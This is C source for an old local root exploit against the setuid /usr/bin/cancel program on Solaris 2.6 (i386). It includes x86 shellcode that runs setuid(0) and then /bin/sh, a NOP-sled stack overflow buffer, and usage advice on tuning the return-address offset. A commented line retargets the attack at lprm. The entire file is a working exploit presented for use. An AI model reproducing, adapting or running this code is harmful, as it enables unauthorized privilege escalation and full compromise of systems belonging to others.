/**
***  cancelex - i386 Solaris root exploit for /usr/bin/cancel
***
***  Tested and confirmed under Solaris 2.6 (i386)
***
***  Usage:  % cancelex hostname [offset]
***
***  where hostname is the name of a host running the printer service on
***  TCP port 515 (such as "localhost" perhaps) and offset (if present)
***  is the number of bytes to add to the stack pointer to calculate your
***  target return address; try -1000 to 1000 in increments of 100 for
***  starters.
***
***  Cheez Whiz
***  cheezbeast@hotmail.com
***
***  February 25, 1999
**/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFLEN 1031
#define NOP 0x90

char shell[] =
  /*  0 */ "\xeb\x3b"                         /* jmp springboard [2000]*/
  /* syscall:                                                    [2000]*/
  /*  2 */ "\x9a\xff\xff\xff\xff\x07\xff"     /* lcall 0x7,0x0   [2000]*/
  /*  9 */ "\xc3"                             /* ret             [2000]*/
  /* start:                                                      [2000]*/
  /* 10 */ "\x5e"                             /* popl %esi       [2000]*/
  /* 11 */ "\x31\xc0"                         /* xor %eax,%eax   [2000]*/
  /* 13 */ "\x89\x46\xc1"                     /* movl %eax,-0x3f(%esi) */
  /* 16 */ "\x88\x46\xc6"                     /* movb %al,-0x3a(%esi)  */
  /* 19 */ "\x88\x46\x07"                     /* movb %al,0x7(%esi)    */
  /* 22 */ "\x89\x46\x0c"                     /* movl %eax,0xc(%esi)   */
  /* setuid:                                                     [2000]*/
  /* 25 */ "\x31\xc0"                         /* xor %eax,%eax   [2000]*/
  /* 27 */ "\x50"                             /* pushl %eax      [2000]*/
  /* 28 */ "\xb0\x17"                         /* movb $0x17,%al  [2000]*/
  /* 30 */ "\xe8\xdf\xff\xff\xff"             /* call syscall    [2000]*/
  /* 35 */ "\x83\xc4\x04"                     /* addl $0x4,%esp  [2000]*/
  /* execve:                                                     [2000]*/
  /* 38 */ "\x31\xc0"                         /* xor %eax,%eax   [2000]*/
  /* 40 */ "\x50"                             /* pushl %eax      [2000]*/
  /* 41 */ "\x8d\x5e\x08"                     /* leal 0x8(%esi),%ebx   */
  /* 44 */ "\x53"                             /* pushl %ebx      [2000]*/
  /* 45 */ "\x8d\x1e"                         /* leal (%esi),%ebx[2000]*/
  /* 47 */ "\x89\x5e\x08"                     /* movl %ebx,0x8(%esi)   */
  /* 50 */ "\x53"                             /* pushl %ebx      [2000]*/
  /* 51 */ "\xb0\x3b"                         /* movb $0x3b,%al  [2000]*/
  /* 53 */ "\xe8\xc8\xff\xff\xff"             /* call syscall    [2000]*/
  /* 58 */ "\x83\xc4\x0c"                     /* addl $0xc,%esp  [2000]*/
  /* springboard:                                                [2000]*/
  /* 61 */ "\xe8\xc8\xff\xff\xff"             /* call start      [2000]*/
  /* data:                                                       [2000]*/
  /* 66 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA            [2000]*/
  /* 74 */ "\xff\xff\xff\xff"                 /* DATA            [2000]*/
  /* 78 */ "\xff\xff\xff\xff";                /* DATA            [2000]*/

char buf[BUFLEN+1];
char *egg;
unsigned long int esp, nop;
long int offset = 0;

unsigned long int
get_esp()
{
  __asm__("movl %esp,%eax");
}

void
main(int argc, char *argv[])
{
  int i;

  if (argc < 2)
    {
      printf("usage: %s hostname [offset]\n", argv[0]);
      return;
    }

  esp = get_esp();

  if (argc > 2)
    offset = strtol(argv[2], NULL, 0);

  if (argc > 3)
    nop = strtoul(argv[3], NULL, 0);
  else
    nop = 933;

  memset(buf, NOP, BUFLEN);
  memcpy(buf+nop, shell, strlen(shell));
  for (i = nop+strlen(shell); i <= BUFLEN-4; i += 4)
    *((int *) &buf[i]) = esp+offset;

  if ((egg = (char *) malloc(strlen(argv[1])+1+BUFLEN+1)) == NULL)
    {
      printf("malloc failed!\n");
      return;
    }
  snprintf(egg, strlen(argv[1])+1+BUFLEN+1, "%s:%s", argv[1], buf);

  printf("jumping to 0x%08x (0x%08x offset %d) [nop %d]\n",
         esp+offset, esp, offset, nop);
  execl("/usr/bin/cancel", "cancel", egg, NULL);
  /* execl("/usr/ucb/lprm", "lprm", "-P", egg, NULL); */

  printf("exec failed!\n");
  return;
}

/*                    www.hack.co.za              [2000]*/